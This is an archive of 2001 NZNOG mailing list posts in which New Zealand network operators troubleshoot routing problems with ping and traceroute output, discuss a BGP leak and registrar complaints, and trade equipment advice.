pts/1 juha(a)vimfuego:~$ ping news.bbc.co.uk ping: unknown host news.bbc.co.uk Kerrap. Jetstream? Or somewhere else? bash-2.05$ ping news.bbc.co.uk PING newswww.bbc.net.uk (212.58.226.40): 56 data bytes 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420b 0 0000 01 01 8ae0 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420d 0 0000 01 01 8ade 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420e 0 0000 01 01 8add 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420f 0 0000 01 01 8adc 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 4210 0 0000 01 01 8adb 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 4211 0 0000 01 01 8ada 210.48.100.42 212.58.226.40 Hrrmmm... bash-2.05$ traceroute 212.58.226.40 traceroute to 212.58.226.40 (212.58.226.40), 30 hops max, 40 byte packets 1 210.48.100.1 (210.48.100.1) 1.975 ms 2.543 ms 1.746 ms 2 s0.ts9.ak.nz.asiaonline.net (210.48.2.1) 12.198 ms 12.155 ms 14.796 ms 3 f1-0.gw2.ak.nz.asiaonline.net (202.14.100.254) 53.810 ms 12.707 ms 12.221 ms 4 f0-0.gw1.ak.nz.asiaonline.net (210.48.1.1) 12.617 ms 12.623 ms 13.230 ms 5 g0-1-0-221.b4.sxb.tsnz.net (203.98.4.205) 13.391 ms 13.481 ms 12.665 ms 6 GE0-0-0.nzsx-core1.Auckland.telstra.net (203.98.4.3) 16.891 ms 22.031 ms 18.472 ms 7 GigabitEthernet4-0-0.nzsx-core2.Auckland.net.reach.com (203.50.126.58) 26.852 ms 26.061 ms 22.163 ms 8 202.84.249.129 (202.84.249.129) 153.251 ms 153.572 ms 146.691 ms 9 202.84.249.66 (202.84.249.66) 227.914 ms 228.862 ms 224.985 ms 10 202.84.249.65 (202.84.249.65) 229.739 ms 221.260 ms 231.744 ms 11 202.84.249.66 (202.84.249.66) 309.732 ms 308.025 ms 305.737 ms 12 202.84.249.65 (202.84.249.65) 307.482 ms 300.437 ms 319.887 ms 13 202.84.249.66 (202.84.249.66) 456.585 ms 383.322 ms 377.616 ms 14 202.84.249.65 (202.84.249.65) 375.120 ms 377.874 ms 376.425 ms 15 202.84.249.66 (202.84.249.66) 453.441 ms 454.953 ms 457.326 ms 16 202.84.249.65 (202.84.249.65) 458.146 ms 454.757 ms 449.970 ms 17 202.84.249.66 (202.84.249.66) 536.290 ms 532.411 ms 533.366 ms 18 202.84.249.65 (202.84.249.65) 530.822 ms 592.469 ms 526.726 ms 19 202.84.249.66 (202.84.249.66) 602.030 ms 601.476 ms 607.230 ms 20 202.84.249.65 (202.84.249.65) 605.603 ms 627.870 ms 605.202 ms 21 202.84.249.66 (202.84.249.66) 682.281 ms 687.296 ms 675.443 ms 22 202.84.249.65 (202.84.249.65) 680.571 ms 679.806 ms 677.157 ms 23 202.84.249.66 (202.84.249.66) 755.965 ms 775.068 ms 757.381 ms 24 202.84.249.65 (202.84.249.65) 758.296 ms 754.893 ms 764.393 ms 25 202.84.249.66 (202.84.249.66) 833.034 ms 834.038 ms 832.465 ms 26 202.84.249.65 (202.84.249.65) 833.672 ms 832.952 ms 836.438 ms 27 202.84.249.66 (202.84.249.66) 910.692 ms 911.639 ms 910.117 ms 28 202.84.249.65 (202.84.249.65) 906.542 ms 908.851 ms 908.012 ms 29 202.84.249.66 (202.84.249.66) 991.594 ms 986.891 ms 987.188 ms 30 202.84.249.65 (202.84.249.65) 988.047 ms 985.131 ms 1053.931 ms bash-2.05$ whois -h whois.apnic.net 202.84.249.65 % Rights restricted by copyright. See http://www.apnic.net/db/dbcopyright.html % (whois6.apnic.net) inetnum: 202.84.248.0 - 202.84.251.255 netname: FIJI-HK descr: Fiji descr: 41/F, Telecom Tower descr: Taikoo Place, Quarry Bay descr: HK country: HK admin-c: AC11-HK tech-c: PW6-HK rev-srv: rs.hkt.net rev-srv: nsx.hkt.com notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC person: Aurea Cheung address: 41/F, Telecom Tower address: Taikoo Place, Quarry Bay address: HK phone: +852-28830025 fax-no: +852-29625290 nic-hdl: AC11-HK notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC person: Philip Watt address: 41/F, Telecom Tower address: Taikoo Place, Quarry Bay address: HK phone: +679-311300 nic-hdl: PW6-HK notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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FW: Wireless LAN equipment
by Steven Perich 30 Aug '01

30 Aug '01

> Security, both physical and systems, is of utmost importance. The couch > might seem a perfect place to rack mount your equipment however it is by no > means secure. I would recommend mounting the switch and any other equipment > in a lockable cabinet, such as the oven (true geeks don't cook) and running > cable through a duct drilled through the back of it. Additionally, > electronic locking systems can be bolted to the hinged door and survelliance > installed throughout the kitchen. And the warmer drawer makes an ideal > place to store a change notebook, extra patch leads, etc. Oh! I almost forgot. After you've mounted your switch/router/firewall etc in your oven cum 19" rack, you can take advantage of the convenient Window Kit already installed. As well as being able to look in and watch the Pretty Blinking Lights(tm) at your convenience, you could install a neon light stick (such as http://www.thinkgeek.com/stuff/fun-stuff/3738.shtml) and wire it up to the oven's light switch! Other enhancements; lining the inside of the oven with black speaker box carpet and buying a small tubular lava lamp and strategically place it for maximum effect. :-) BTW: What the hell's this? http://www.eurus.dti.ne.jp/~yoshi-w/audio/zoom2/auto9.jpg Reckon it might end up on our shores in about 5 years time? Steve --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Wireless LAN equipment
by Sharpe, Russell 30 Aug '01

30 Aug '01

Hi Richard, If you only need 2Meg, rather than 11Meg, there are hundreds of 2M cards on the market cheap, which you could use in an "Ad Hoc" or Personal Area Network of about 20 metres. I have a couple that I could fire off to you if you so desire (I haven't the drivers, but I know that you are resourceful) Russell Sharpe -----Original Message----- From: Richard Stevenson [mailto:richard.stevenson(a)team.xtra.co.nz] Sent: Friday, 31 August 2001 17:02 To: nznog(a)list.waikato.ac.nz Subject: Wireless LAN equipment Hi all In the interests of keeping my soon-to-be-landlord happy, I'm looking at building a wireless LAN rather than making holes in the 13-month-old house I'm about to move into. Can anyone recommend any particular equipment, suppliers, sources of information? It'll only be a small network to start with - five systems, though it'll grow; I have a nasty habit of accumulating junk :P Many thanks Richard -- Richard Stevenson, Systems Specialist, Xtra Limited Phone: +64 9 355 5231 Mobile: +64 25 290 3101 Pager: +64 26 100 155 "Visual $ANYTHING" just screams out "100% suckage or your money back". -- Tanuki the Raccoon-dog, in the Monastery --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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TSNZ international routes stuffed... again?
by Juha Saarinen 30 Aug '01

30 Aug '01

# ping www.above.net ping: unknown host www.above.net # ping www.mfnx.net ping: unknown host www.mfnx.net ... but, a few seconds later: # ping www.mfnx.net PING hs-d1.s.mfnx.net (64.125.31.9) from 192.168.1.1 : 56(84) bytes of data. --- hs-d1.s.mfnx.net ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss # ping www.above.net PING www.above.net (207.126.96.163) from 192.168.1.1 : 56(84) bytes of data. --- www.above.net ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss Happens quite frequently these days. -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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TSNZ <-> Above.net stuffed...
by Juha Saarinen 30 Aug '01

30 Aug '01

AFAICT. Anyone else seeing this? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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[msa@samurai.sfo.dead-dog.com: Re: BGP Instability]
by Joe Abley 30 Aug '01

30 Aug '01

----- Forwarded message from "Majdi S. Abbas" <msa(a)samurai.sfo.dead-dog.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu Date: Thu, 30 Aug 2001 15:25:34 -0700 From: "Majdi S. Abbas" <msa(a)samurai.sfo.dead-dog.com> To: Mark Borchers <mborchers(a)splitrock.net> Cc: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: BGP Instability User-Agent: Mutt/1.2i In-Reply-To: <CA47B6D616C0D211B92E0008C7C5657C115C1757(a)hscmpxsrvcl01>; from mborchers(a)splitrock.net on Thu, Aug 30, 2001 at 04:47:50PM -0500 Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog On Thu, Aug 30, 2001 at 04:47:50PM -0500, Mark Borchers wrote: > Currently seeing unusually high numbers of routes being > dampened (~11K). The common denominator seems to be AS 4637 > in the as-path of most of the dampened prefixes. Is any > further information known? Yes. Telstra/4637 is leaking what appears to be a full table to many peers and at least two of their transit providers (that I've talked to). I called an engineer at Telstra and they expect to have this resolved soon. --msa ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Speed of the list
by Dean Pemberton 29 Aug '01

29 Aug '01

Is it just me or is the list taking REALLY long to deliver things lately? Here is the message that I sent [lines removed] Aug 28 18:25:00 wilbur qmail: 998979900.410497 new msg 113746 Aug 28 18:25:00 wilbur qmail: 998979900.416632 starting delivery 57885: msg 113746 to remote nj.lee(a)plumtree.co.nz Aug 28 18:25:00 wilbur qmail: 998979900.416792 starting delivery 57886: msg 113746 to remote juha(a)saarinen.org Aug 28 18:25:00 wilbur qmail: 998979900.416836 starting delivery 57887: msg 113746 to remote nznog(a)list.waikato.ac.nz Aug 28 18:25:00 wilbur qmail: 998979900.832619 delivery 57887: success: 130.217.76.30_accepted_message./Remote_host_said:_250_2.0.0_ f7S6P0Y23521_Message_accepted_for_delivery/ Aug 28 18:25:01 wilbur qmail: 998979901.629689 delivery 57885: success: 203.79.82.83_accepted_message./Remote_host_said:_250_ok_9989 79901_qp_8921/ Aug 28 18:25:01 wilbur qmail: 998979901.759181 delivery 57886: success: 203.79.82.14_accepted_message./Remote_host_said:_250_OK_id=1 5bcJ3-0001YW-00/ Aug 28 18:25:01 wilbur qmail: 998979901.759326 end msg 113746 And here is when the list sent it out Aug 28 18:55:18 wilbur qmail: 998981718.390982 new msg 113746 Aug 28 18:55:18 wilbur qmail: 998981718.391126 info msg 113746: bytes 8254 from <owner-nznog(a)list.waikato.ac.nz> qp 26679 uid 64011 Aug 28 18:55:18 wilbur qmail: 998981718.392633 status: local 1/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.402411 new msg 115443 Aug 28 18:55:18 wilbur qmail: 998981718.402568 info msg 115443: bytes 8368 from <owner-nznog(a)list.waikato.ac.nz> qp 26682 uid 1004 Aug 28 18:55:18 wilbur qmail: 998981718.404193 status: local 2/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.404215 delivery 57919: success: did_0+1+0/qp_26682/ Aug 28 18:55:18 wilbur qmail: 998981718.404236 status: local 1/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.404256 end msg 113746 Aug 28 18:55:18 wilbur qmail: 998981718.411992 delivery 57920: success: did_1+0+0/ Aug 28 18:55:18 wilbur qmail: 998981718.412124 status: local 0/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.412146 end msg 115443 That took a long time. Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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www.jetstream.co.nz branding Xtra after Telecom Web Site Change
by Craig Whitmore 29 Aug '01

29 Aug '01

Hi everyone... I've noticed after Telecom have revamped their new web site they are now pushing alot for Xtra on the Jetstream Web Site (http://www.jetstream.co.nz) Before the change.. it used to be "ISP Neutral", but now.. its Xtra, Xtra, Xtra :-( I don't know what other people (ISP's including) think.. but I think it should be back to how it was, not pushing any particular ISP, but explaining the service and then giving a list of ISP's to go to get Jetstream from. The First sentence "Get fast Internet access with JetStream. Join Xtra - New Zealand's leading Internet Service Provider." makes it look like Xtra is the only ISP who can offer the service. then "Get online with Xtra"... etc etc Even the links to order it.. make it look like Xtra only as it asks if you want as part of SkyFi as you can only get SkyFi by using Xtra as your ISP I talk for myself with these comments, not anyone I work with/for Thanks Craig Whitmore http://www.nzdsl.co.nz New Zealand DSL Information --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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fastnet... dns problems
by Chris Wedgwood 28 Aug '01

28 Aug '01

Sadly, I am still inflicted with Fastnet (ASB Bank's banking service) which by-and-large works most of the time except when I need it. Anyhow... I tried this a few minutes ago (www.asbank.co.nz) and couldn't get very very far, www.fastnet.co.nz works and closer examination shows the name-servers for asbbank.co.nz don't reply with anything useful for it... [1] So here is something fun... the name-servers are dead (or very lame at best), it's early in the morning (I tried this initially earlier this morning) and phones don't work... with no DNS, I can't email. Anyone know of a magic number to call? --cw [1] Insert standard rant, al la RFC2182 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Hotmail ?
by Simon Byrnand 27 Aug '01

27 Aug '01

Anybody else having problems reaching hotmail ? I've been getting a TTL exceeded from p1-1.akbr2.global-gateway.net.nz (or similar) for the last 20 minutes or so, and yet all the other international sites I can think of seem fine.... Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Hmmm... a new one
by Juha Saarinen 27 Aug '01

27 Aug '01

I can only get to Xtra (from my Paradise ADSL connection) and then only barely: pts/0 juha(a)vimfuego:~$ ping www.xtra.co.nz PING xtra.co.nz (202.27.184.102) from 192.168.1.1 : 56(84) bytes of data. 64 bytes from 202.27.184.102: icmp_seq=0 ttl=246 time=30.164 msec 64 bytes from 202.27.184.102: icmp_seq=1 ttl=246 time=29.964 msec 64 bytes from 202.27.184.102: icmp_seq=2 ttl=246 time=29.970 msec 64 bytes from 202.27.184.102: icmp_seq=3 ttl=246 time=29.963 msec 64 bytes from 202.27.184.102: icmp_seq=4 ttl=246 time=29.968 msec 64 bytes from 202.27.184.102: icmp_seq=5 ttl=246 time=29.965 msec 64 bytes from 202.27.184.102: icmp_seq=6 ttl=246 time=29.936 msec --- xtra.co.nz ping statistics --- 76 packets transmitted, 8 packets received, 89% packet loss round-trip min/avg/max/mdev = 29.936/29.984/30.164/0.222 ms Can't see much of Paradise's network though: traceroute to 203.96.152.4 (203.96.152.4), 30 hops max, 38 byte packets 1 router (192.168.1.254) 1.796 ms 1.217 ms 1.371 ms 2 203-79-82-254.adsl-wns.paradise.net.nz (203.79.82.254) 22.081 ms 13.806 ms 16.697 ms 3 192.168.253.225 (192.168.253.225) 16.174 ms 16.354 ms 20.505 ms 4 kelly.ipnet2.paradise.net.nz (203.96.155.158) 22.172 ms 23.855 ms 19.808 ms 5 * * * 6 * * * 7 * * * pts/0 juha(a)vimfuego:~$ /usr/sbin/traceroute www.xtra.co.nz traceroute to xtra.co.nz (202.27.184.102), 30 hops max, 38 byte packets 1 router (192.168.1.254) 1.692 ms 1.201 ms 1.299 ms 2 203-79-82-254.adsl-wns.paradise.net.nz (203.79.82.254) 16.065 ms 14.954 ms 16.323 ms 3 192.168.253.225 (192.168.253.225) 16.985 ms 18.801 ms 20.093 ms 4 kelly.ipnet2.paradise.net.nz (203.96.155.158) 22.139 ms 18.807 ms 20.254 ms 5 203.96.152.3 (203.96.152.3) 20.158 ms 21.324 ms 20.173 ms 6 202.37.246.73 (202.37.246.73) 30.569 ms 31.820 ms 30.200 ms 7 202.50.245.105 (202.50.245.105) 31.149 ms 32.478 ms 30.773 ms 8 202.37.246.82 (202.37.246.82) 30.229 ms 33.314 ms 30.280 ms 9 202.37.245.46 (202.37.245.46) 31.539 ms 34.646 ms 30.416 ms 10 * * * 11 * * * Someone pulled the plugs out of Kelly? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Hotmail ?
by Simon Green 27 Aug '01

27 Aug '01

No problems for me (connected through ihug) -- simon >From: Simon Byrnand <simon(a)igrin.co.nz> >To: nznog(a)list.waikato.ac.nz >Subject: Hotmail ? >Date: Tue, 28 Aug 2001 13:37:18 +1200 > >Anybody else having problems reaching hotmail ? > >I've been getting a TTL exceeded from p1-1.akbr2.global-gateway.net.nz (or >similar) for the last 20 minutes or so, and yet all the other international >sites I can think of seem fine.... > >Regards, >Simon > > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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BNZ Buyline
by John Lynch 27 Aug '01

27 Aug '01

At the moment, I am writting the code in C, with Secure Remote for the link to the BNZ. In the long term I intent to use freeswan IPSEC, with linux. Thanks to all thouse who responded, (given me hope at least !!!) I understand that the work you guys have done may be copyrighted by you various companys, but for those of you that aren't, any code snippets would be appreciated . John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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BNZ Buyline client interface ??????
by John Lynch 24 Aug '01

24 Aug '01

Hi has anyone out there written a BNZ buyline client interface ? At this point I have downloaded the source code and written a client that sends a purchase message to the test system we have been setup on. The server responds with NX invalid currency code. The instructions I have received clearly states that a currency code must be included with a purchase request. I do not see anywhere in the supplied code provisions for including this information, to implement this myself it's seems to me I would have to change the supplied code right down at the packet construction level. I am sure this is not necessary and have missed something simple. Any help much appreciated. John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Anyone know a realiable .COM registry?
by david＠farrar.com 24 Aug '01

24 Aug '01

> On Fri, Aug 24, 2001 at 02:30:55AM +0000, david(a)farrar.com wrote: > > NSI are awful. You may find NSI will make it very hard to trasnfer > > your domain elsewhere. Good Luck. > > Actually, when transferring a gTLD domain the new registrar can > initiate the transfer. Register.com provide a web interface to > this, which is painless and doesn't involve interacting with NSI > in any frustrating way. Unfortunately NSI have unilaterally changed the rules. They now automatically cancel all tranfsers unless the name holder contact responds positively to an e- mail from NSI asking if they are happy with the change. The ICANN Registrars mailing list has more details. Registrars are having hundreds and thousands of requests cancelled by NSI. NSI claim you have five days to respond but often their e-mails don't go out until Day 4 etc. SOme registrants have tried three times to transfer with no luck. DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Anyone know a realiable .COM registry?
by david＠farrar.com 23 Aug '01

23 Aug '01

> Does anyone know of a _reliable_ .COM registry? NZ based would be good but > not essential. Who do others use? Are you happy with them? Are their fees > reasonable? I use register.com and have found them good. They are not the chapeast around but no problems with them. > We are finding Network Solutions to e not worth the money. For the second > time in as many years they have deactivated one of our domains for non > payment of fees. In both cases the fees _had_ been paid. In this latest > episode we even paid twice just to (vainly) try to stop it from being > deactivated. NSI are awful. You may find NSI will make it very hard to trasnfer your domain elsewhere. Good Luck. DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Anyone know a realiable .COM registry?
by Denis Gordon 23 Aug '01

23 Aug '01

Before everyone starts running off for a well earned weekend I'd just like to say a big THANKS to all those who responded to my call for help - at a dizzying pace. NSI have changed our domain's status to paid & say it'll be live again "within 24 hours" - let's not rush this :( Thank you all. Denis -----Original Message----- From: Denis Gordon [mailto:denis(a)dcc.govt.nz] Sent: Friday, 24 August 2001 2:17pm To: 'NZNOG List' Cc: Mike Harte Subject: Anyone know a realiable .COM registry? Does anyone know of a _reliable_ .COM registry? NZ based would be good but not essential. Who do others use? Are you happy with them? Are their fees reasonable? We are finding Network Solutions to e not worth the money. For the second time in as many years they have deactivated one of our domains for non payment of fees. In both cases the fees _had_ been paid. In this latest episode we even paid twice just to (vainly) try to stop it from being deactivated. This time has really hurt as it's where our main website lives. Their solution to getting it reactivated was "pay us again so we have a transaction we can find in our system"! So if anyone knows of a good reliable .COM registry please let me know asap. thanks Denis Gordon Network Administrator Information Systems Technical Support Dunedin City Council 50 The Octagon, PO Box 5045, Dunedin, New Zealand Ph: +64-3-474 3566 Fax: +64-3-474 3503 Mobile: 025 84 55 83 Email: denis(a)dcc.govt.nz WWW: http://www.CityOfDunedin.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Anyone know a realiable .COM registry?
by Peter Mott 23 Aug '01

23 Aug '01

At 24/08/2001 14:36, you wrote: >I understand Peter Mott & 2day.com provide this sort of service... they're >near me, in the occasionally sunny and warm North Shore of Auckland. Whilst we are accredited, we are not operational sorry. Its not that far away however :-) - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Anyone know a realiable .COM registry?
by Denis Gordon 23 Aug '01

23 Aug '01

Does anyone know of a _reliable_ .COM registry? NZ based would be good but not essential. Who do others use? Are you happy with them? Are their fees reasonable? We are finding Network Solutions to e not worth the money. For the second time in as many years they have deactivated one of our domains for non payment of fees. In both cases the fees _had_ been paid. In this latest episode we even paid twice just to (vainly) try to stop it from being deactivated. This time has really hurt as it's where our main website lives. Their solution to getting it reactivated was "pay us again so we have a transaction we can find in our system"! So if anyone knows of a good reliable .COM registry please let me know asap. thanks Denis Gordon Network Administrator Information Systems Technical Support Dunedin City Council 50 The Octagon, PO Box 5045, Dunedin, New Zealand Ph: +64-3-474 3566 Fax: +64-3-474 3503 Mobile: 025 84 55 83 Email: denis(a)dcc.govt.nz WWW: http://www.CityOfDunedin.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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UPDATE: Xtra broken?
by Ben Martel 22 Aug '01

22 Aug '01

Hi all, Spoke to XTRA and they are now correctly announcing 202.49.143/24 at APE to CLEAR, this has corrected the Australia routing spacial anomily :). ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Cisco 2610 thru put
by Peter Mott 21 Aug '01

21 Aug '01

Does anybody have any experience with how much bandwidth you can realistically route through a 2610 before it starts to huff and puff? ie, Will it cope with 2x 2meg frame ccts running flat out - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: UPDATE: Xtra broken?
by Phill Groom 21 Aug '01

21 Aug '01

Sort of related to this thread; http://michael.toren.net/code/tcptraceroute/ Quite cool! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: XTRA network having problems?
by Ben Martel 21 Aug '01

21 Aug '01

Hey, > The original poster was questioning whether the site was up, > since it was > unreachable with ICMP. > By blocking all ICMP, such things as MTU path discovery are > also broken - > just like Hotmail. The original poster is aware of how blocking ICMP breaks things. In fact I am the indirect recipient of a 'display time on the wall alarm clock' for people who cant turn their heads at night (due to drunkeness generally), on the basis of fixing some American site that was broken because of it. I was actually trying to query (obviously not successfully - well Joe got it!) why the routing to one of the resolved addresses for www.nbnz.co.nz is being dropped by Xtra on their border router @ APE. Secondly why the hell the traffic should go through Australia to get their in the first place. TIA ~benm --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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XTRA network having problems?
by Ben Martel 21 Aug '01

21 Aug '01

Hey all, Anybody noticed if XTRA is having problems??? ~benm noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.681 ms 0.605 ms 0.620 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 1.295 ms 0.618 ms 0.616 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 1.695 ms 1.342 ms 0.994 ms 4 xtra.ape.net.nz (192.203.154.60) 2.068 ms 3.037 ms 2.400 ms 5 202-37-237-229.dds.xtra.co.nz (202.37.237.229) 11.157 ms 14.180 ms 12.818 ms ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (202.49.143.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 1.027 ms 0.643 ms 0.591 ms 2 core1-fe6-1-0-acld.auckland.clix.net.nz (203.97.2.241) 0.828 ms 0.832 ms 0.748 ms 3 b1-atm2-0-1-wcms.sydney.clix.net.nz (203.97.83.222) 24.861 ms 24.981 ms 24.879 ms 4 500.Serial0-1-1.GW2.SYD2.ALTER.NET (203.166.90.77) 25.304 ms 25.446 ms 25.532 ms 5 422.at-6-0-0.XR1.SYD2.Alter.Net (210.80.3.93) 25.821 ms 26.227 ms 26.369 ms 6 0.SO-5-0-0.XR1.SYD4.ALTER.NET (210.80.33.222) 26.798 ms 26.203 ms 26.783 ms 7 0.SO-0-0-1.XR2.SYD3.ALTER.NET (210.80.33.10) 26.120 ms 26.265 ms 26.196 ms 8 412.ATM8-0-0.GW1.SYD3.Alter.Net (210.80.3.158) 26.766 ms 27.052 ms 27.655 ms 9 500.ATM1-0.BORDER3.SYD.OZEMAIL.NET.AU (203.166.16.38) 29.680 ms 28.339 ms 27.345 ms 10 border1-fe0-0.syd.ozemail.net.au (203.108.190.150) 29.397 ms 27.699 ms 28.171 ms 11 203.108.1.237 (203.108.1.237) 125.545 ms 44.672 ms 47.893 ms 12 atm0-1-0-2.bdr1.hay.connect.com.au (210.8.219.234) 32.714 ms 41.311 ms 50.258 ms 13 f4-0-0-2.sybr1.netgate.net.nz (202.50.116.113) 59.829 ms 36.707 ms 35.536 ms 14 * * * 15 * * * 16 * * * 17 * * * 18 * * * 19 * * * 20 * * * 21 * * * 22 * * * 23 * * * 24 * * * 25 * * * 26 * * * 27 * * * 28 * * * 29 * * * 30 * * * noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (202.49.143.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.804 ms 0.591 ms 0.574 ms 2 core1-fe6-1-0-acld.auckland.clix.net.nz (203.97.2.241) 0.868 ms 1.181 ms 0.835 ms 3 b1-atm2-0-1-wcms.sydney.clix.net.nz (203.97.83.222) 26.398 ms 24.848 ms 25.311 ms 4 500.Serial0-1-1.GW2.SYD2.ALTER.NET (203.166.90.77) 25.351 ms 25.321 ms 25.193 ms 5 422.at-6-0-0.XR1.SYD2.Alter.Net (210.80.3.93) 26.074 ms 25.617 ms 25.889 ms 6 0.SO-5-0-0.XR1.SYD4.ALTER.NET (210.80.33.222) 26.125 ms 26.219 ms 26.750 ms 7 0.SO-0-0-1.XR2.SYD3.ALTER.NET (210.80.33.10) 26.163 ms 26.097 ms 26.047 ms 8 412.ATM8-0-0.GW1.SYD3.Alter.Net (210.80.3.158) 27.231 ms 27.047 ms 27.093 ms 9 500.ATM1-0.BORDER3.SYD.OZEMAIL.NET.AU (203.166.16.38) 27.965 ms 27.783 ms 28.140 ms 10 border1-fe0-0.syd.ozemail.net.au (203.108.190.150) 28.064 ms 28.494 ms 28.159 ms 11 203.108.1.237 (203.108.1.237) 38.559 ms 29.714 ms 35.737 ms 12 atm0-1-0-2.bdr1.hay.connect.com.au (210.8.219.234) 36.318 ms 34.299 ms 32.086 ms 13 f4-0-0-2.sybr1.netgate.net.nz (202.50.116.113) 32.040 ms 31.104 ms 30.982 ms 14 * * * 15 * *^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.663 ms 0.619 ms 0.612 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.698 ms 0.654 ms 1.278 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 0.899 ms 1.329 ms 0.946 ms 4 xtra.ape.net.nz (192.203.154.60) 1.588 ms 3.299 ms 2.391 